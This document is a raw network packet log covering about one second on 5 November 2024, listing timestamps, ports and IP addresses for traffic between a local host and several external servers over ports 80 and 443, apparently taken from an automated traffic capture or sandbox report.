Nov 5, 2024 10:13:52.813925982 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.813936949 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.813947916 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.813957930 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.813982010 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.814014912 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.820080996 CET	443	49995	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.820107937 CET	443	49995	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.820158005 CET	443	49995	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.820195913 CET	49995	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.820195913 CET	49995	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.835957050 CET	49995	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.835977077 CET	443	49995	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.835987091 CET	49995	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.835992098 CET	443	49995	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.843636036 CET	443	49996	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.843713045 CET	443	49996	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.843839884 CET	49996	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.853909016 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.853925943 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.853936911 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.853948116 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.853960037 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.853971004 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.853981972 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.853993893 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.853996038 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.854007006 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.854023933 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.854154110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.860176086 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.860567093 CET	49999	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.860585928 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.860877991 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.861309052 CET	49999	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.861371994 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.861434937 CET	49999	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.868290901 CET	49996	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.868314028 CET	443	49996	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.868326902 CET	49996	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.868333101 CET	443	49996	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.879592896 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.879605055 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.879615068 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.879657984 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.879865885 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.879957914 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.879968882 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.879980087 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880007982 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.880038977 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.880270004 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880280972 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880331993 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.880450964 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880461931 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880471945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880487919 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880500078 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880510092 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880516052 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.880522966 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880543947 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.880569935 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.880577087 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.880625963 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.895522118 CET	443	49997	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.895555973 CET	443	49997	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.895602942 CET	443	49997	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.895626068 CET	49997	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.895658016 CET	49997	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.898463011 CET	443	49998	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.898533106 CET	443	49998	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.898760080 CET	49998	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.903337955 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.919228077 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.919290066 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.919332027 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.919348001 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.919368029 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.919411898 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.919480085 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.919497013 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.919567108 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.919648886 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.919698000 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.919708967 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.919739008 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.919763088 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.919770002 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.920181036 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.920234919 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.920623064 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.920670986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.926419973 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:52.926439047 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:52.926469088 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:52.926528931 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:52.926536083 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:52.971796036 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:52.998465061 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.998516083 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:52.998630047 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.998675108 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:52.998733044 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.998842001 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.998856068 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.998888969 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:52.999046087 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.999058962 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:52.999080896 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.999100924 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.999201059 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.999209881 CET	443	50007	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:52.999325037 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.999332905 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.999370098 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:52.999542952 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.999557018 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:52.999577045 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.999778032 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.999794960 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:52.999885082 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:52.999893904 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.000078917 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.000089884 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.000226021 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.000236988 CET	443	50007	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.000308037 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.000324011 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.013264894 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:53.013293028 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:53.013371944 CET	49999	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:53.013386965 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:53.013401031 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:53.013747931 CET	49999	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:53.014911890 CET	49999	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:53.014921904 CET	443	49999	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:53.021459103 CET	49997	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.021480083 CET	443	49997	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.022557974 CET	49998	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.022571087 CET	443	49998	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.022581100 CET	49998	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.022587061 CET	443	49998	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.024558067 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:53.024565935 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:53.024629116 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:53.024698019 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:53.024729013 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:53.024774075 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:53.029961109 CET	50009	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.029987097 CET	443	50009	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.030174017 CET	50009	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.032387018 CET	50009	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.032402039 CET	443	50009	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.040069103 CET	50010	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.040087938 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.040152073 CET	50010	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.040831089 CET	50010	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.040842056 CET	443	50010	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.045001030 CET	50011	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.045011044 CET	443	50011	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.045084000 CET	50011	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.047099113 CET	50011	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.047108889 CET	443	50011	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.050982952 CET	50012	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.051021099 CET	443	50012	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.051944017 CET	50012	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.052186966 CET	50012	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.052200079 CET	443	50012	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.122679949 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.128660917 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.154652119 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:53.154681921 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:53.154774904 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:53.155036926 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:53.155045986 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:53.340145111 CET	443	50001	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:53.340387106 CET	50001	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:53.340413094 CET	443	50001	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:53.341455936 CET	443	50001	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:53.341511965 CET	50001	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:53.342514038 CET	50001	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:53.342572927 CET	443	50001	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:53.342700005 CET	50001	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:53.342708111 CET	443	50001	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:53.391797066 CET	50001	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:53.405164957 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405291080 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.405365944 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405395031 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405406952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405417919 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405428886 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405447006 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405447960 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.405459881 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405473948 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.405494928 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.405761003 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405812025 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.405852079 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405864000 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405889034 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.405905008 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.405916929 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405927896 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405937910 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.405992031 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.405992031 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.527654886 CET	443	50001	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:53.533947945 CET	443	50002	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.534410954 CET	50002	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.534432888 CET	443	50002	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.534898996 CET	50002	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.534904003 CET	443	50002	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.549341917 CET	443	50001	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:53.549458981 CET	50001	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:53.549890995 CET	50001	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:53.549905062 CET	443	50001	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:53.555048943 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:53.555088997 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:53.555253029 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:53.555447102 CET	50014	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:53.555461884 CET	443	50014	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:53.564126015 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.564182997 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.564214945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.564225912 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.564260006 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.564270973 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.564282894 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.564295053 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.564337969 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.564349890 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.564354897 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.564362049 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.564374924 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.564389944 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.564407110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.564429998 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.565242052 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565253973 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565264940 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565310955 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565311909 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.565321922 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565370083 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.565752029 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565763950 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565814972 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565825939 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565833092 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.565841913 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565853119 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.565855980 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.565879107 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.565912962 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.566356897 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.566425085 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.566436052 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:53.566494942 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:53.591120005 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:53.591156006 CET	443	50015	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:53.591243029 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:53.591411114 CET	50015	443	192.168.2.5	20.189.173.17
Nov 5, 2024 10:13:53.591422081 CET	443	50015	20.189.173.17	192.168.2.5
Nov 5, 2024 10:13:53.593235970 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.593240976 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.593586922 CET	50016	443	192.168.2.5	20.125.209.212
Nov 5, 2024 10:13:53.593616009 CET	443	50016	20.125.209.212	192.168.2.5
Nov 5, 2024 10:13:53.593761921 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.593772888 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.593800068 CET	50016	443	192.168.2.5	20.125.209.212
Nov 5, 2024 10:13:53.593940020 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.593955040 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.594173908 CET	50016	443	192.168.2.5	20.125.209.212
Nov 5, 2024 10:13:53.594187975 CET	443	50016	20.125.209.212	192.168.2.5
Nov 5, 2024 10:13:53.594270945 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.594324112 CET	443	50007	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.594609976 CET	50017	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:53.594644070 CET	443	50017	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:53.594758987 CET	50017	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:53.594804049 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.594867945 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.595242023 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.595251083 CET	443	50007	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.595649958 CET	50017	443	192.168.2.5	108.156.211.31
Nov 5, 2024 10:13:53.595664978 CET	443	50017	108.156.211.31	192.168.2.5
Nov 5, 2024 10:13:53.595746994 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.595820904 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.596029997 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.596090078 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.596170902 CET	50004	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.596225977 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.596231937 CET	443	50003	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.596577883 CET	443	50007	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.596628904 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.596904993 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.596966028 CET	443	50007	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.597037077 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.613046885 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.613234043 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.613241911 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.614202976 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.614284039 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.614542007 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.614602089 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.614710093 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.614851952 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.615370989 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.615386009 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.616420031 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.616488934 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.616763115 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.616830111 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.616966009 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.616974115 CET	443	50006	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.637543917 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.637762070 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.637789011 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.638773918 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.638834000 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.639081001 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.639153957 CET	443	50008	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.639215946 CET	50008	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.639332056 CET	443	50004	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.641808033 CET	50007	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.641815901 CET	443	50007	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.641846895 CET	50003	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.655328035 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.657454014 CET	50005	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.657454967 CET	50006	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:53.657459974 CET	443	50005	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:53.673064947 CET	443	50002	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.673785925 CET	443	50002	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.673821926 CET	443	50002	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:53.673840046 CET	50002	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.673887968 CET	50002	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:53.673999071 CET	50002	443	192.168.2.5	13.107.253.45
